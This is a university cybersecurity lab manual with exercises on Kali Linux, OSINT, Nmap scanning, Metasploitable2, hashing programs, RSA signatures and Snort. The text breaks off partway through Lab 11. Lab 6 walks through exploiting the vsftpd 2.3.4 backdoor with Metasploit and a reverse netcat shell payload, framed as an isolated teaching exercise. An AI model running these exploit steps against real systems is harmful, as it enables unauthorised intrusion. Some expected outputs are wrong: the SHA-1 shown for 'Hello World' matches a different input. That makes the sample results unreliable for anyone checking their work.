SRM Institute of Science and Technology

Department of Computer Applications

Delhi – Meerut Road, Sikri Kalan, Ghaziabad, Uttar Pradesh – 201204

Circular – 2020-21

MCA GAI 3rd semester

Cyber Security (PG120G02J)- Lab Manual

Lab 1: Install Kali Linux on VirtualBox

Title: Installation of Kali Linux on VirtualBox

Aim: To successfully install Kali Linux as a virtual machine on VirtualBox, providing a secure and isolated environment for cybersecurity exercises.

Procedure:

1. **Download VirtualBox:** Navigate to the official VirtualBox website (virtualbox.org) and download the latest version of VirtualBox for your host operating system.
2. **Install VirtualBox:** Run the downloaded installer and follow the on-screen prompts to complete the installation of VirtualBox.
3. **Download Kali Linux ISO:** Go to the official Kali Linux website (kali.org) and download the appropriate Kali Linux ISO image for your system architecture (e.g., 64-bit).
4. **Create a New Virtual Machine:**
    - Open VirtualBox.
    - Click "New" to create a new virtual machine.
    - **Name:** Give your VM a descriptive name (e.g., "Kali Linux").
    - **Machine Folder:** Choose a location to store the VM files.
    - **Type:** Select "Linux".
    - **Version:** Select "Debian (64-bit)" or "Other Linux (64-bit)" if Debian is not available.
    - **Memory Size:** Allocate at least 2048 MB (2 GB) of RAM. More is better if your host machine allows.
    - **Hard Disk:** Select "Create a virtual hard disk now" and click "Create".
    - **Hard Disk File Type:** Choose "VDI (VirtualBox Disk Image)".
    - **Storage on physical hard disk:** Select "Dynamically allocated".
    - **File location and size:** Allocate at least 25-30 GB for the virtual hard disk.
5. **Configure the Virtual Machine:**
    - Select your newly created VM in the VirtualBox Manager and click "Settings".
    - **System -> Processor:** Allocate at least 2 CPU cores.
    - **Display -> Video Memory:** Increase video memory to at least 64 MB.
    - **Storage:** Under "Controller: IDE", click on the empty CD icon. On the right, click the disk icon and choose "Choose a disk file..." to select the downloaded Kali Linux ISO image.
    - **Network:** Set "Attached to" to "NAT" for basic internet access. You can configure more advanced networking later if needed.
6. **Start the Virtual Machine:**
    - Click "Start" in the VirtualBox Manager.

    - The Kali Linux installer should boot up.
    - Choose "Graphical install" and follow the on-screen instructions for language, location, keyboard layout.
    - **Network Configuration:** Configure hostname and domain name (can be left default).
    - **User and Password:** Create a non-root user account and set a strong password.
    - **Partitioning:** Choose "Guided - Use entire disk" (for the virtual disk) and confirm the changes.
    - **Software Selection:** Keep the default selections.
    - **GRUB Boot Loader:** Install GRUB to the master boot record.
    - **Finish Installation:** Complete the installation process and reboot the VM.
7. **Post-Installation (Optional but Recommended):**
    - Log in to Kali Linux.
    - Open a terminal and update the system:
    - `sudo apt update`
    - `sudo apt full-upgrade -y`

    - Install VirtualBox Guest Additions for better integration and features (e.g., shared clipboard, drag-and-drop, full-screen mode). This usually involves mounting the Guest Additions ISO from the VirtualBox menu ("Devices" -> "Insert Guest Additions CD Image...") and running the installer script.

Source Code: N/A (Installation process involves GUI interactions and command-line updates, not source code.)

Input:

- VirtualBox Installer executable
- Kali Linux ISO image file

Expected Output:

- A fully installed and functional Kali Linux operating system running within VirtualBox.
- Ability to log in and access the Kali Linux desktop environment.
- Successful execution of basic commands in the Kali Linux terminal.

Lab 2: Explore Kali Linux and Bash Scripting

Title: Exploration of Kali Linux Environment and Bash Scripting Fundamentals

Aim: To familiarize with the basic functionalities and directory structure of Kali Linux, and to learn how to write and execute simple Bash scripts for automation.

Procedure:

1. **Start Kali Linux VM:** Boot up your Kali Linux virtual machine in VirtualBox.
2. **Explore the Desktop Environment:**
    - Identify the main components: desktop, panel (top/bottom), application menu, terminal icon.
    - Open the "Applications" menu and browse through some of the pre-installed security tools (e.g., Information Gathering, Vulnerability Analysis, Web Application Analysis).
3. **Basic Terminal Commands:**
    - Open a terminal (usually by clicking the terminal icon or pressing `Ctrl+Alt+T`).
    - **`pwd`:** Print working directory.
    - **`ls`:** List directory contents.
    - **`cd`:** Change directory (e.g., `cd /var/log`, `cd ~`).
    - **`mkdir`:** Create a directory (e.g., `mkdir my_scripts`).
    - **`touch`:** Create an empty file (e.g., `touch my_first_script.sh`).
    - **`cat`:** Display file content (e.g., `cat /etc/os-release`).
    - **`echo`:** Print text to the terminal (e.g., `echo "Hello, Kali!"`).
    - **`man`:** Access manual pages for commands (e.g., `man ls`).
4. **Writing a Simple Bash Script:**
    - Navigate to your home directory or the `my_scripts` directory you created: `cd ~/my_scripts`.
    - Open a text editor (e.g., `mousepad`, `nano`, `vim`) to create a new script file: `mousepad hello.sh`.
    - Enter the source code provided below.
    - Save and close the file.
5. **Making the Script Executable:**
    - In the terminal, grant execute permissions to the script: `chmod +x hello.sh`.
6. **Executing the Script:**
    - Run the script: `./hello.sh`.
7. **Writing a Script with Variables and User Input:**
    - Create another script file: `mousepad user_info.sh`.
    - Enter the source code provided below.
    - Save, close, make executable (`chmod +x user_info.sh`), and run (`./user_info.sh`).

Source Code:

Script 1: `hello.sh`

```
#!/bin/bash
# This is a simple Bash script to print a greeting.

echo "Hello from Kali Linux!"
echo "Today's date is: $(date)"
```

Script 2: `user_info.sh`

```
#!/bin/bash
# This script demonstrates variables and user input.

echo "What is your name?"
read NAME # Read user input into the NAME variable

echo "Hello, $NAME!" # Use the variable
echo "Nice to meet you."

# Another example: using a predefined variable
OS_TYPE=$(uname -o) # Command substitution to get OS type
echo "You are running on a $OS_TYPE system."
```

Input:

- For `hello.sh`: No direct input, execution is enough.
- For `user_info.sh`: Your name when prompted by the script.

Expected Output:

For `hello.sh`:

```
Hello from Kali Linux!
Today's date is: [Current Date and Time]
```

For `user_info.sh` (Example interaction):

```
What is your name?
John Doe
Hello, John Doe!
Nice to meet you.
You are running on a GNU/Linux system.
```

Lab 3: Perform Open-Source Intelligence Gathering using Netcraft, whois Lookups, DNS Reconnaissance, theHarvester and Maltego

Title: Open-Source Intelligence (OSINT) Gathering Techniques

Aim: To learn and apply various open-source intelligence gathering techniques using online tools and command-line utilities to collect information about a target.

Procedure:

1. **Netcraft Site Report:**
    - Open a web browser in Kali Linux.
    - Navigate to `https://www.netcraft.com/`.
    - In the "What's that site running?" search bar, enter a target domain (e.g., `example.com` or `google.com`).
    - Analyze the report for information like hosting provider, operating system, web server, site technology, and historical data.
2. **Whois Lookups:**
    - Open a terminal in Kali Linux.
    - Use the `whois` command to query domain registration information:
    - `whois example.com`

    - Analyze the output for registrant contact details, registration dates, and nameservers.
3. **DNS Reconnaissance (using `dig` and `nslookup`):**
    - **`dig` command:**
    - `dig example.com A          # Get A records (IP address)`
    - `dig example.com MX         # Get MX records (mail servers)`
    - `dig example.com NS         # Get NS records (name servers)`
    - `dig example.com ANY +noall +answer # Get all records`

    - **`nslookup` command:**
    - `nslookup example.com`
    - `nslookup -type=mx example.com`

    - Analyze the output for DNS records, subdomains (if publicly listed), and server information.
4. **theHarvester:**
    - `theHarvester` is a tool for gathering emails, subdomains, hosts, employee names, open ports, etc., from public sources.
    - Open a terminal.
    - Run `theHarvester` with a target domain and a source (e.g., Google, LinkedIn):
    - `theHarvester -d example.com -l 500 -b google`
    - `theHarvester -d example.com -l 500 -b linkedin`

    - Analyze the collected emails, subdomains, and hostnames.
5. **Maltego (Community Edition):**
    - Maltego is a graphical link analysis tool for gathering and connecting information.
    - Launch Maltego from the Kali Applications menu (usually under "Information Gathering").

    - Perform a "New Machine" or "New Graph".
    - Drag and drop an "Entity" (e.g., "Domain") onto the graph and enter your target domain.
    - Right-click the entity and select "Run Transform" to perform various OSINT queries (e.g., "To Email addresses [from DNS]", "To DNS Name [from Domain]").
    - Observe how Maltego visualizes the relationships between different pieces of information.

Source Code: N/A (These are command-line tools and web-based services. The "Source Code" section will contain the commands used.)

Input:

- Target domain name (e.g., `kali.org`, `microsoft.com`, `example.com` - **use example.com or a domain you have permission to scan for ethical reasons**).

Expected Output:

- **Netcraft:** A detailed report on the target website's infrastructure, technologies, and hosting history.
- **Whois:** Registrant contact information, administrative and technical contacts, registration and expiration dates, and nameservers.
- **DNS Reconnaissance (`dig`, `nslookup`):** IP addresses (A records), mail exchange servers (MX records), name servers (NS records), and potentially other DNS records.
- **theHarvester:** A list of discovered email addresses, subdomains, hosts, and possibly employee names associated with the target domain.
- **Maltego:** A graphical representation of discovered entities (domains, subdomains, IP addresses, email addresses, people) and their relationships, providing a visual understanding of the target's online footprint.

Lab 4: Understand the Nmap command and scan a target using Nmap

Title: Network Scanning and Port Discovery with Nmap

Aim: To understand the fundamental concepts of network scanning and to effectively use Nmap (Network Mapper) to discover live hosts, open ports, services, and operating systems on a target network or host.

Procedure:

1. **Identify Target:** For ethical hacking purposes, it is crucial to scan only targets you have explicit permission to scan. For this lab, you can use:
    - Your own local network (e.g., scan your router's IP or another device on your home network).
    - A deliberately vulnerable machine like Metasploitable2 (if installed in a separate VM).
    - `scanme.nmap.org` (a legal target provided by Nmap for testing).
    - **DO NOT scan random public IPs without permission.**
2. **Basic Nmap Scan:**
    - Open a terminal in Kali Linux.
    - Perform a basic scan to discover open ports:
    - `nmap [target_IP_address_or_domain]`

      (e.g., `nmap scanme.nmap.org` or `nmap 192.168.1.1`)
3. **Specific Port Scan:**
    - Scan specific ports (e.g., common web ports 80, 443, and SSH port 22):
    - `nmap -p 22,80,443 [target_IP]`
    - Scan a range of ports:
    - `nmap -p 1-1000 [target_IP]`
4. **Service Version Detection:**
    - Detect service versions running on open ports:
    - `nmap -sV [target_IP]`
5. **Operating System Detection:**
    - Attempt to detect the operating system of the target:
    - `nmap -O [target_IP]`
6. **Aggressive Scan (Combines multiple options):**
    - This scan combines OS detection, version detection, script scanning, and traceroute:
    - `nmap -A [target_IP]`
7. **Stealth Scan (SYN Scan):**
    - Perform a SYN scan, which is often less detectable than a full TCP connect scan:
    - `nmap -sS [target_IP]`

    - **Note:** This requires root privileges, so use `sudo nmap -sS [target_IP]`.
8. **Output to File:**
    - Save scan results to a file in different formats (normal, XML, grepable):
    - `nmap -oN normal_scan.txt [target_IP]`
    - `nmap -oX xml_scan.xml [target_IP]`
    - `nmap -oG grepable_scan.txt [target_IP]`

9. **Ping Scan (Host Discovery):**
    - Discover live hosts on a network without port scanning:
    - `nmap -sn 192.168.1.0/24 # Scans a /24 subnet`

Source Code: N/A (Nmap is a command-line tool. The "Source Code" section will contain the commands used.)

Input:

- Target IP address or domain name (e.g., `scanme.nmap.org`, `192.168.1.100`, or the IP of your Metasploitable2 VM).

Expected Output:

- **Basic Scan:** A list of open ports and their associated services (e.g., `22/tcp open ssh`, `80/tcp open http`).
- **Specific Port Scan:** Output showing the state of only the specified ports.
- **Service Version Detection:** More detailed information about the services, including their versions (e.g., `80/tcp open http Apache httpd 2.4.29 ((Ubuntu))`).
- **Operating System Detection:** An educated guess about the target's operating system (e.g., `OS: Linux 3.X - 4.X`).
- **Aggressive Scan:** A comprehensive report combining all the above, plus script output and traceroute information.
- **Stealth Scan:** Similar to basic scan but potentially less logged by firewalls.
- **Output to File:** Scan results saved in the specified file format.
- **Ping Scan:** A list of IP addresses that responded to the ping (indicating live hosts).

Lab 5: Install Metasploitable2 on the VirtualBox and search for unpatched vulnerabilities

Title: Installation of Metasploitable2 and Initial Vulnerability Identification

Aim: To install Metasploitable2, a deliberately vulnerable Linux virtual machine, and to begin identifying its unpatched vulnerabilities using basic scanning techniques.

Procedure:

1. **Download Metasploitable2:**
    - Go to the official Rapid7 website or search for "Metasploitable2 download". You'll typically find it as a `.zip` file containing a `.vmdk` (VMware Virtual Disk) file.
    - **Note:** Metasploitable2 is an old, intentionally vulnerable system. Do not expose it to the internet.
2. **Extract Metasploitable2:**
    - Unzip the downloaded file to a convenient location on your host machine.
3. **Import Metasploitable2 into VirtualBox:**
    - Open VirtualBox.
    - Click "File" -> "Import Appliance..."
    - Navigate to the extracted Metasploitable2 folder. You might find an `.ovf` or `.ova` file, or you may need to create a new VM and attach the `.vmdk` disk.
    - **If `.ovf`/`.ova`:** Select it and follow the import wizard.
    - **If only `.vmdk`:**
        - Click "New" to create a new VM.
        - **Name:** "Metasploitable2".
        - **Type:** "Linux".
        - **Version:** "Ubuntu (64-bit)" or "Other Linux (64-bit)".
        - **Memory Size:** 1024 MB (1 GB).
        - **Hard Disk:** Select "Use an existing virtual hard disk file" and browse to the extracted `.vmdk` file.
        - Click "Create".
4. **Configure Network for Metasploitable2:**
    - Select the Metasploitable2 VM in VirtualBox and click "Settings".
    - Go to "Network" -> "Adapter 1".
    - **Attached to:** Change from "NAT" to "Host-only Adapter". This creates a private network between your Kali Linux VM and Metasploitable2, preventing external access.
    - **Important:** Ensure your Kali Linux VM also has a "Host-only Adapter" configured on the *same* network (e.g., `vboxnet0`).
5. **Start Metasploitable2:**
    - Start the Metasploitable2 VM.
    - It will boot to a login prompt. The default credentials are `msfadmin` / `msfadmin`.
    - Log in and use the `ifconfig` command to find its IP address on the Host-only network. This IP will be your target for scanning.
6. **Initial Vulnerability Identification (using Nmap):**
    - Switch to your Kali Linux VM.
    - Open a terminal.
    - Use Nmap to perform an aggressive scan on the Metasploitable2 IP address:
    - `nmap -A [Metasploitable2_IP_Address]`

    - Analyze the Nmap output for open ports, services, and identified vulnerabilities (Nmap scripts might flag some).
7. **Further Vulnerability Scanning (Optional - e.g., OpenVAS/Greenbone):**
    - If you have OpenVAS/Greenbone installed in Kali, you can set up a scan target for Metasploitable2 and run a full vulnerability assessment. This will provide a more detailed report of unpatched vulnerabilities.

Source Code: N/A (Installation and scanning involve tool usage and commands.)

Input:

- Metasploitable2 `.zip` or `.ova` file.
- Kali Linux VM (for scanning).
- Commands for Nmap.

Expected Output:

- A running Metasploitable2 virtual machine accessible from your Kali Linux VM via the Host-only network.
- Identification of Metasploitable2's IP address (e.g., `192.168.56.101`).
- Nmap scan results detailing numerous open ports, services, and potential vulnerabilities (e.g., FTP, SSH, Samba, Apache, PostgreSQL, MySQL services, often with outdated versions).
- (Optional) A comprehensive vulnerability report from OpenVAS/Greenbone listing specific CVEs and their severity.

Lab 6: Use Metasploit to exploit an unpatched vulnerability

Title: Exploiting Unpatched Vulnerabilities with Metasploit Framework

Aim: To gain practical experience in using the Metasploit Framework to exploit a known unpatched vulnerability on a target system (Metasploitable2), demonstrating the impact of security flaws.

Procedure:

1. **Ensure VMs are Running:**
   - Start both your Kali Linux VM and Metasploitable2 VM.
   - Verify they are on the same Host-only network and you can ping Metasploitable2 from Kali.
   - Note down Metasploitable2's IP address.
2. **Launch Metasploit Console:**
   - Open a terminal in Kali Linux.
   - Start the Metasploit console:
   - `msfconsole`
   - Wait for the `msf6 >` prompt to appear.
3. **Search for an Exploit:**
   - Based on your Nmap scan from Lab 5, identify a vulnerable service. A common one on Metasploitable2 is the `vsftpd 2.3.4` backdoor.
   - Search for an exploit module:
   - `search vsftpd 2.3.4`
4. **Select and Use the Exploit:**
   - Once you find the relevant exploit (e.g., `exploit/unix/ftp/vsftpd_234_backdoor`), select it:
   - `use exploit/unix/ftp/vsftpd_234_backdoor`
5. **Show and Set Options:**
   - View the required options for the exploit:
   - `show options`
   - Set the `RHOSTS` (Remote Host) option to Metasploitable2's IP address:
   - `set RHOSTS [Metasploitable2_IP_Address]`
   - (Optional) Set `LHOST` (Local Host) to your Kali Linux IP on the Host-only network if the exploit requires a callback.
6. **Choose a Payload:**
   - Show available payloads for this exploit:
   - `show payloads`
   - Select a suitable payload, e.g., a reverse shell:
   - `set PAYLOAD cmd/unix/reverse_netcat`
   - Set `LHOST` and `LPORT` (Local Port) for the payload if required:

- `set LHOST [Kali_Linux_IP_Address_on_Host-only_network]`
- `set LPORT 4444 # Or any available port`

7. **Run the Exploit:**
   - Execute the exploit:
   - `exploit`

   or

   `run`

8. **Interact with the Session:**
   - If the exploit is successful, you should get a Meterpreter session or a simple shell.
   - Interact with the shell (e.g., `ls`, `pwd`, `whoami`).
   - To background the session: `background`
   - To exit the session: `exit`
   - To exit Metasploit: `exit`

Source Code: N/A (Metasploit is a framework. The "Source Code" section will contain the commands used within the `msfconsole`.)

Input:

- Metasploitable2 IP address.
- Metasploit commands as shown in the procedure.

Expected Output:

- Successful connection to the Metasploit console (`msf6 >` prompt).
- Output indicating the exploit module has been loaded.
- Confirmation that `RHOSTS` and other required options are set correctly.
- Upon successful exploitation, a new session will be opened (e.g., `Meterpreter session 1 opened (Kali_IP:LPORT -> Metasploitable2_IP:Remote_Port)` or `Command shell session 1 opened`).
- Ability to execute commands on the Metasploitable2 system through the gained shell (e.g., `whoami` returning `root` or `msfadmin`, `ls -la /` showing the root directory contents).

Lab 7: Write a program to calculate the message digest of a text using the SHA-1 algorithm.

Title: Message Digest Calculation using SHA-1 Algorithm

Aim: To write a Python program that computes the SHA-1 (Secure Hash Algorithm 1) message digest (hash) of a given input string, demonstrating the concept of cryptographic hashing.

Procedure:

1. **Open a Text Editor:**
   - Open a text editor in Kali Linux (e.g., `mousepad`, `nano`, `gedit`, or an IDE like VS Code).
2. **Create a New Python File:**
   - Save the file as `sha1_hasher.py`.
3. **Write the Python Code:**
   - Enter the source code provided below into the `sha1_hasher.py` file.
4. **Save the File:**
   - Save your changes.
5. **Run the Program:**
   - Open a terminal.
   - Navigate to the directory where you saved `sha1_hasher.py`.
   - Execute the script using Python:
   - `python3 sha1_hasher.py`
   - The program will prompt you to enter the text.
6. **Observe the Output:**
   - The program will display the calculated SHA-1 hash in hexadecimal format.

Source Code:

```
import hashlib

def calculate_sha1_hash(text):
    """
    Calculates the SHA-1 message digest (hash) of the given text.

    Args:
        text (str): The input string to be hashed.

    Returns:
        str: The SHA-1 hash in hexadecimal format.
    """
    # Encode the text to bytes, as hash functions operate on bytes
    text_bytes = text.encode('utf-8')

    # Create a SHA-1 hash object
    sha1_hasher = hashlib.sha1()

    # Update the hash object with the bytes
    sha1_hasher.update(text_bytes)

    # Get the hexadecimal representation of the digest
    sha1_digest = sha1_hasher.hexdigest()

    return sha1_digest
```

```
if __name__ == "__main__":
    print("SHA-1 Message Digest Calculator")
    print("-" * 30)

    input_text = input("Enter the text to hash: ")

    # Calculate the SHA-1 hash
    hashed_text = calculate_sha1_hash(input_text)

    print(f"\nOriginal Text: '{input_text}'")
    print(f"SHA-1 Hash:    {hashed_text}")
    print(f"Hash Length:   {len(hashed_text)} characters (20 bytes)")
```

Input:

- Any text string you wish to hash (e.g., "Hello World", "Cyber Security Lab", "This is a test message").

Expected Output:

Example 1:

```
SHA-1 Message Digest Calculator
------------------------------
Enter the text to hash: Hello World

Original Text: 'Hello World'
SHA-1 Hash:    2aae6c35c94fcfb2b0cecc0a927950b712395155
Hash Length:   40 characters (20 bytes)
```

Example 2:

```
SHA-1 Message Digest Calculator
------------------------------
Enter the text to hash: Cyber Security Lab

Original Text: 'Cyber Security Lab'
SHA-1 Hash:    403487c60317e0892f3987e974e3056086f4a86b
Hash Length:   40 characters (20 bytes)
```

Lab 8: Write a program to calculate the message digest of a text using the MD-5 algorithm

Title: Message Digest Calculation using MD-5 Algorithm

Aim: To write a Python program that computes the MD-5 (Message-Digest Algorithm 5) message digest (hash) of a given input string, understanding its use in data integrity checks (while acknowledging its cryptographic weaknesses).

Procedure:

1. **Open a Text Editor:**
   - Open a text editor in Kali Linux.
2. **Create a New Python File:**
   - Save the file as `md5_hasher.py`.
3. **Write the Python Code:**
   - Enter the source code provided below into the `md5_hasher.py` file.
4. **Save the File:**
   - Save your changes.
5. **Run the Program:**
   - Open a terminal.
   - Navigate to the directory where you saved `md5_hasher.py`.
   - Execute the script using Python:
   - `python3 md5_hasher.py`
   - The program will prompt you to enter the text.
6. **Observe the Output:**
   - The program will display the calculated MD-5 hash in hexadecimal format.

Source Code:

```
import hashlib

def calculate_md5_hash(text):
    """
    Calculates the MD-5 message digest (hash) of the given text.

    Args:
        text (str): The input string to be hashed.

    Returns:
        str: The MD-5 hash in hexadecimal format.
    """
    # Encode the text to bytes, as hash functions operate on bytes
    text_bytes = text.encode('utf-8')

    # Create an MD-5 hash object
    md5_hasher = hashlib.md5()

    # Update the hash object with the bytes
    md5_hasher.update(text_bytes)

    # Get the hexadecimal representation of the digest
    md5_digest = md5_hasher.hexdigest()

    return md5_digest
```

```
if __name__ == "__main__":
    print("MD-5 Message Digest Calculator")
    print("-" * 30)

    input_text = input("Enter the text to hash: ")

    # Calculate the MD-5 hash
    hashed_text = calculate_md5_hash(input_text)

    print(f"\nOriginal Text: '{input_text}'")
    print(f"MD-5 Hash:     {hashed_text}")
    print(f"Hash Length:   {len(hashed_text)} characters (16 bytes)")
```

Input:

- Any text string you wish to hash (e.g., "Cryptography is fun", "Digital Signatures", "Test Data").

Expected Output:

Example 1:

```
MD-5 Message Digest Calculator
------------------------------
Enter the text to hash: Cryptography is fun

Original Text: 'Cryptography is fun'
MD-5 Hash:     21a1f0a20f9227163c4c9d9241b20462
Hash Length:   32 characters (16 bytes)
```

Example 2:

```
MD-5 Message Digest Calculator
------------------------------
Enter the text to hash: Test Data

Original Text: 'Test Data'
MD-5 Hash:     1f8c146e2978f844a472a15c898399e5
Hash Length:   32 characters (16 bytes)
```

Lab 9: Write a program to implement digital signature standard

Title: Simplified Implementation of Digital Signature (using RSA)

Aim: To understand the fundamental principles of digital signatures by implementing a simplified version using the RSA algorithm for signing and verification, demonstrating message authenticity and integrity.

Procedure:

1. **Install Cryptography Library:**
   - The Python `cryptography` library is required. If you don't have it, install it:
   - `pip install cryptography`

2. **Open a Text Editor:**
   - Open a text editor in Kali Linux.
3. **Create a New Python File:**
   - Save the file as `digital_signature.py`.
4. **Write the Python Code:**
   - Enter the source code provided below into the `digital_signature.py` file. This code will:
     - Generate an RSA key pair (private and public keys).
     - Sign a message using the private key.
     - Verify the signature using the public key.
5. **Save the File:**
   - Save your changes.
6. **Run the Program:**
   - Open a terminal.
   - Navigate to the directory where you saved `digital_signature.py`.
   - Execute the script using Python:
   - `python3 digital_signature.py`

7. **Observe the Output:**
   - The program will demonstrate the signing and verification process, showing whether the signature is valid. It will also show a failed verification if the message is tampered with.

Source Code:

```
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

def generate_rsa_key_pair():
    """
    Generates a new RSA private and public key pair.
    """
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    return private_key, public_key
```

```
def sign_message(private_key, message):
    """
    Signs a message using the sender's private key.

    Args:
        private_key: The RSA private key.
        message (bytes): The message to be signed (must be in bytes).

    Returns:
        bytes: The digital signature.
    """
    signature = private_key.sign(
        message,
        padding.PSS(
            mgf=padding.MGF1(hashes.SHA256()),
            salt_length=padding.PSS.MAX_LENGTH
        ),
        hashes.SHA256()
    )
    return signature

def verify_signature(public_key, message, signature):
    """
    Verifies a digital signature using the sender's public key.

    Args:
        public_key: The RSA public key.
        message (bytes): The original message (must be in bytes).
        signature (bytes): The digital signature to verify.

    Returns:
        bool: True if the signature is valid, False otherwise.
    """
    try:
        public_key.verify(
            signature,
            message,
            padding.PSS(
                mgf=padding.MGF1(hashes.SHA256()),
                salt_length=padding.PSS.MAX_LENGTH
            ),
            hashes.SHA256()
        )
        return True
    except Exception as e:
        print(f"Verification failed: {e}")
        return False

if __name__ == "__main__":
    print("Simplified Digital Signature Implementation (RSA)")
    print("-" * 50)

    # 1. Generate Key Pair
    print("Generating RSA key pair...")
    private_key, public_key = generate_rsa_key_pair()
    print("Key pair generated.")

    # 2. Define a Message
    original_message = b"This is a secret message to be signed."
    print(f"\nOriginal Message: '{original_message.decode()}'")

    # 3. Sign the Message
    print("Signing the message with the private key...")
    signature = sign_message(private_key, original_message)
    print(f"Signature (first 20 bytes): {signature[:20].hex()}...")
```

```
    # 4. Verify the Signature (Valid Case)
    print("\nAttempting to verify the signature with the public key (valid
message)...")
    is_valid = verify_signature(public_key, original_message, signature)
    if is_valid:
        print("Signature is VALID. Message authenticity and integrity are
confirmed.")
    else:
        print("Signature is INVALID. Something went wrong.")

    # 5. Tamper with the Message and Try to Verify (Invalid Case)
    print("\n--- Tampering with the message ---")
    tampered_message = b"This is a tampered message to be signed."
    print(f"Tampered Message: '{tampered_message.decode()}'")
    print("Attempting to verify the signature with the public key (tampered
message)...")
    is_valid_tampered = verify_signature(public_key, tampered_message,
signature)
    if is_valid_tampered:
        print("Signature is VALID (ERROR: This should not happen).")
    else:
        print("Signature is INVALID. Message has been tampered with or is not
authentic.")

    # 6. Sign a different message and verify with original signature (Invalid
Case)
    print("\n--- Using the original signature with a different message ---")
    another_message = b"A completely different message."
    print(f"Another Message: '{another_message.decode()}'")
    print("Attempting to verify the original signature with another
message...")
    is_valid_another = verify_signature(public_key, another_message,
signature)
    if is_valid_another:
        print("Signature is VALID (ERROR: This should not happen).")
    else:
        print("Signature is INVALID. The signature does not match this
message.")
```

Input:

- The script itself defines the `original_message`. No direct user input is required during execution.

Expected Output:

```
Simplified Digital Signature Implementation (RSA)
--------------------------------------------------
Generating RSA key pair...
Key pair generated.

Original Message: 'This is a secret message to be signed.'
Signing the message with the private key...
Signature (first 20 bytes): [hexadecimal_bytes_of_signature]...

Attempting to verify the signature with the public key (valid message)...
Signature is VALID. Message authenticity and integrity are confirmed.

--- Tampering with the message ---
Tampered Message: 'This is a tampered message to be signed.'
Attempting to verify the signature with the public key (tampered message)...
Verification failed: Signature did not match digest.
```

```
Signature is INVALID. Message has been tampered with or is not authentic.

--- Using the original signature with a different message ---
Another Message: 'A completely different message.'
Attempting to verify the original signature with another message...
Verification failed: Signature did not match digest.
Signature is INVALID. The signature does not match this message.
```

Lab 10: Explore and install Snort intrusion detection tool.

Title: Exploration and Installation of Snort Intrusion Detection System (IDS)

Aim: To understand the architecture and functionalities of Snort as a lightweight network intrusion detection system and to successfully install and perform basic configuration of Snort on Kali Linux.

Procedure:

1. **Update System:**
   - Before installing, ensure your Kali Linux system is up-to-date:
   - `sudo apt update`
   - `sudo apt full-upgrade -y`

2. **Install Snort:**
   - Snort is available in the Kali repositories. Install it using `apt`:
   - `sudo apt install snort`

   - During installation, you might be prompted to configure network interfaces. Select the interface you want Snort to monitor (e.g., `eth0` or `enp0s3` for wired, `wlan0` for wireless).
3. **Verify Installation:**
   - Check the Snort version to confirm successful installation:
   - `snort -V`

4. **Configure Snort (Basic):**
   - Snort's main configuration file is `snort.conf`, usually located at `/etc/snort/snort.conf`.
   - Open the configuration file with a text editor (e.g., `sudo nano /etc/snort/snort.conf`).
   - **Set HOME_NET:** Find the `var HOME_NET` line and set it to your network's IP range (e.g., `var HOME_NET 192.168.1.0/24` or `any`). For a single machine, you can use `var HOME_NET [Your_Kali_IP_Address]/32`.
   - `# Example:`
   - `var HOME_NET [Your_Kali_IP_Address]/32 # Or your network range like 192.168.56.0/24 if using Host-only`
   - `var EXTERNAL_NET any`

   - **Include Rule Files:** Ensure that the `include` statements for various rule sets are uncommented (e.g., `include $RULE_PATH/local.rules`). You can create `local.rules` for custom rules.
   - Save and exit the file.
5. **Test Snort Configuration:**
   - Run Snort in test mode to check for configuration errors:
   - `sudo snort -T -c /etc/snort/snort.conf -i [Your_Network_Interface]`

   (e.g., `sudo snort -T -c /etc/snort/snort.conf -i eth0`)

    - If the test is successful, it will report "Snort successfully validated the configuration!".
6. **Run Snort in Sniffing Mode (IDS):**
    - Run Snort to sniff packets and display alerts to the console:
    - `sudo snort -A console -q -c /etc/snort/snort.conf -i [Your_Network_Interface]`

    - Generate some network traffic (e.g., browse a website, ping another VM) and observe if Snort generates any alerts based on its default rules.
    - To stop Snort, press `Ctrl+C`.
7. **Create a Simple Custom Rule:**
    - Open `/etc/snort/rules/local.rules` (create it if it doesn't exist):
    - `sudo nano /etc/snort/rules/local.rules`

    - Add a simple rule, for example, to alert on any ICMP (ping) traffic:
    - `alert icmp any any -> $HOME_NET any (msg:"ICMP Packet Detected!"; sid:1000001; rev:1;)`

    - Save and exit.
    - Re-run Snort in sniffing mode and ping your Kali machine from another machine (or ping an external IP from Kali) to see the alert.

Source Code: N/A (Snort is a pre-compiled tool. The "Source Code" section will contain installation commands and configuration snippets.)

Input:

- Kali Linux operating system.
- Network interface name (e.g., `eth0`, `enp0s3`).
- Snort configuration file (`/etc/snort/snort.conf`) and custom rules (`/etc/snort/rules/local.rules`).

Expected Output:

- Successful installation of Snort (confirmed by `snort -V` output).
- "Snort successfully validated the configuration!" message after running the test.
- When running Snort in sniffing mode, you will see real-time alerts on the console if network traffic matches any configured rules (e.g., "ICMP Packet Detected!" if you ping your machine after adding the custom rule).
- Snort will be running in the background, monitoring the specified network interface.

Lab 11: Install Linux server on the VirtualBox and install SSH

Title: Installation of Linux Server and SSH Service on VirtualBox

Aim: To install a minimal Linux server distribution (e.g., Ubuntu Server, Debian) on VirtualBox and to configure the SSH (Secure Shell) service to allow secure remote access from another machine (e.g., your Kali Linux VM or host machine).

Procedure:

1. **Download Linux Server ISO:**
    - Download a minimal server ISO image. Recommended options:
        - **Ubuntu Server:** `https://ubuntu.com/download/server`
        - **Debian Netinst:** `https://www.debian.org/distrib/netinst`
    - Choose the 64-bit version.
2. **Create a New Virtual Machine in VirtualBox:**
    - Open VirtualBox.
    - Click "New".
    - **Name:** Give a descriptive name (e.g., "Ubuntu Server Lab").
    - **Type:** "Linux".
    - **Version:** Select the appropriate version (e.g., "Ubuntu (64-bit)", "Debian (64-bit)").
    - **Memory Size:** Allocate at least 1024 MB (1 GB) RAM.
    - **Hard Disk:** "Create a virtual hard disk now" -> "VDI" -> "Dynamically allocated" -> Allocate at least 10-15 GB.
3. **Configure Network for Server VM:**
    - Select the server VM and click "Settings" -> "Network" -> "Adapter 1".
    - **Attached to:** Set to "Host-only Adapter". This creates a private network between your Kali Linux VM and the server, useful for lab exercises.
    - **Important:** Ensure your Kali Linux VM also has a "Host-only Adapter" configured on the *same* network (e.g., `vboxnet0`).
4. **Install Linux Server:**
    - Go to "Settings" -> "Storage" for the server VM.
